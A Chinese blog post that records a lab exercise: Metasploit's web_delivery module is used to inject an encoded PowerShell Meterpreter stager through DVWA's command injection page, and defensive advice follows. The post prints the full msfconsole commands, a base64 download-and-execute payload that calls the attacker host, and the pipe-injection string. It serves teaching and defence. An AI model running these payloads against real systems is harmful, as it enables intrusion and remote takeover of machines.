利用Metasploit Web_Delivery对DVWA命令注入漏洞的渗透攻击实践

王者杯·14天创作挑战营·第5期 10w+人浏览 607人参与

利用Metasploit Web_Delivery对DVWA命令注入漏洞的渗透攻击实践

1. 摘要

本文记录了一次针对Damn Vulnerable Web Application (DVWA)中命令注入(Command Injection)漏洞的渗透测试实践。攻击者(白帽子)利用Metasploit Framework中的web_delivery模块,生成一个PowerShell负载,通过DVWA的低安全等级命令注入漏洞传递给靶机,最终成功获得了一个Meterpreter反向Shell会话。本次实验旨在揭示命令注入漏洞的严重性,并提升防御意识。

2. 实验环境

角色操作系统IP地址软件
攻击机 (Attacker)Kali Linux192.168.1.26Metasploit Framework
靶机 (Target)Windows 11192.168.1.13DVWA (安全等级: Low)

3. 攻击步骤详解

3.1 启动MSF并配置Exploit模块

首先,在Kali Linux上启动Metasploit控制台。

msfconsole

使用multi/script/web_delivery模块,该模块非常适合通过脚本语言(如Python、PHP、Powershell)交付和执行载荷。

use exploit/multi/script/web_delivery

设置Payload为windows/meterpreter/reverse_tcp,这是一个功能强大的反向连接Shell。

set payload windows/meterpreter/reverse_tcp
3.2 配置模块选项

查看需要设置的选项。

show options

根据实验环境进行配置。最关键的是设置攻击机的IP地址(LHOST)。

set lhost 192.168.1.26
set srvhost 192.168.1.26 # 通常与LHOST相同,是承载恶意脚本的服务器地址

查看可用的目标类型,我们选择PowerShell。

show targets

2

设置目标为PowerShell。

set target 2
3.3 执行模块并生成恶意载荷

运行模块,Metasploit会启动一个服务器并生成一行用于漏洞利用的PowerShell命令。

run

执行后,MSF会显示类似如下的关键信息:

[*] Using URL: http://192.168.1.26:8080/qzKo5FhM6X...
[*] Started HTTP reverse handler on http://192.168.1.26:4444
[*] Using PowerShell stager base code for windows/meterpreter/reverse_tcp
[*] Powershell command length: ....
Command to run:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAByAGYAMQBQAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHIAZgAxAFAALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAByAGYAMQBQAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADYAOgA4ADAAOAAwAC8AcQB6AEsAbwA1AEYAaABNADYAWABFADcAegAvAE8ANgAzAGcAYQB2AHIAMQBKAGkAZQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADYAOgA4ADAAOAAwAC8AcQB6AEsAbwA1AEYAaABNADYAWABFADcAegAnACkAKQA7AA==

这行编码的PowerShell命令就是我们的“武器”。

3.4 利用DVWA命令注入漏洞
  1. 在攻击机的浏览器中访问靶机DVWA:http://192.168.1.13/dvwa
  2. 登录后,在左侧Security选项卡中将安全级别设置为Low
  3. 进入Command Injection功能模块。

在输入框中,原本用于输入IP地址的地方,我们注入我们的Payload。DVWA Low级别的命令注入直接连接了用户输入,使用管道符|可以顺利执行下一条命令。

输入:

127.0.0.1 | powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAByAGYAMQBQAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHIAZgAxAFAALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAByAGYAMQBQAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADYAOgA4ADAAOAAwAC8AcQB6AEsAbwA1AEYAaABNADYAWABFADcAegAvAE8ANgAzAGcAYQB2AHIAMQBKAGkAZQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADYAOgA4ADAAOAAwAC8AcQB6AEsAbwA1AEYAaABNADYAWABFADcAegAnACkAKQA7AA==

3

  1. 点击Submit按钮。
3.5 获取Meterpreter会话

一旦Payload在靶机上执行,它会向我们的攻击机(192.168.1.26:4444)发起连接。此时,在MSF控制台中,你会看到成功的提示。

[*] 192.168.1.13    web_delivery - Delivering Payload
[*] Sending stage (175686 bytes) to 192.168.1.13
[*] Meterpreter session 1 opened (192.168.1.26:4444 -> 192.168.1.13:49867) at 2023-10-XX XX:XX:XX +0000

列出当前活跃的会话。

sessions

7

与获得的Session进行交互。

sessions 1

交互成功,命令行提示符变为meterpreter >,标志着我们已经成功控制了目标机器。
截屏2025-09-04 09.26.09

4. 漏洞原理与防御建议

漏洞原理:
  1. 命令注入:DVWA的Low级别Command Injection页面未对用户输入($_GET['ip'])进行任何过滤。攻击者通过注入特殊字符(如|&;)将系统命令拼接至原有的ping命令中,导致任意命令执行。
  2. Web Delivery:该攻击方式无需向磁盘写入恶意文件。MSF在攻击机上搭建一个临时Web服务器,提供的Payload实质上是一段PowerShell脚本。该脚本会从服务器下载并直接在内存中执行Meterpreter的第二阶段载荷,实现了无文件攻击,具有较强的隐蔽性。
防御建议:
  1. 输入验证与过滤:对所有用户输入进行严格的验证和过滤,使用白名单机制只允许预期的字符(如IP地址只允许数字和点号)。
  2. 避免使用危险函数:在Web开发中,尽量避免使用system(), exec(), passthru(), shell_exec()等能直接执行系统命令的函数。如果必须使用,务必对参数进行严格处理。
  3. 最小权限原则:运行Web服务的应用程序账户(如Apache、IIS_USER)应遵循最小权限原则,避免授予其SYSTEM或Administrator等高权限,从而限制被入侵后的影响范围。
  4. 部署安全设备:部署WAF(Web应用防火墙)可以帮助检测和阻止常见的注入攻击。
  5. 代码审计与定期渗透测试:定期进行代码安全审计和渗透测试,主动发现并修复潜在漏洞。

5. 结论

本次实验成功利用Metasploit的web_delivery模块,通过DVWA的命令注入漏洞获得了Windows 11靶机的远程Meterpreter控制权。整个过程清晰地展示了命令注入漏洞的巨大危害——它可以直接导致服务器被完全接管。作为白帽子和开发者,理解这种攻击链至关重要,这有助于我们构建更安全、更稳固的应用系统。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bruce_xiaowei

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值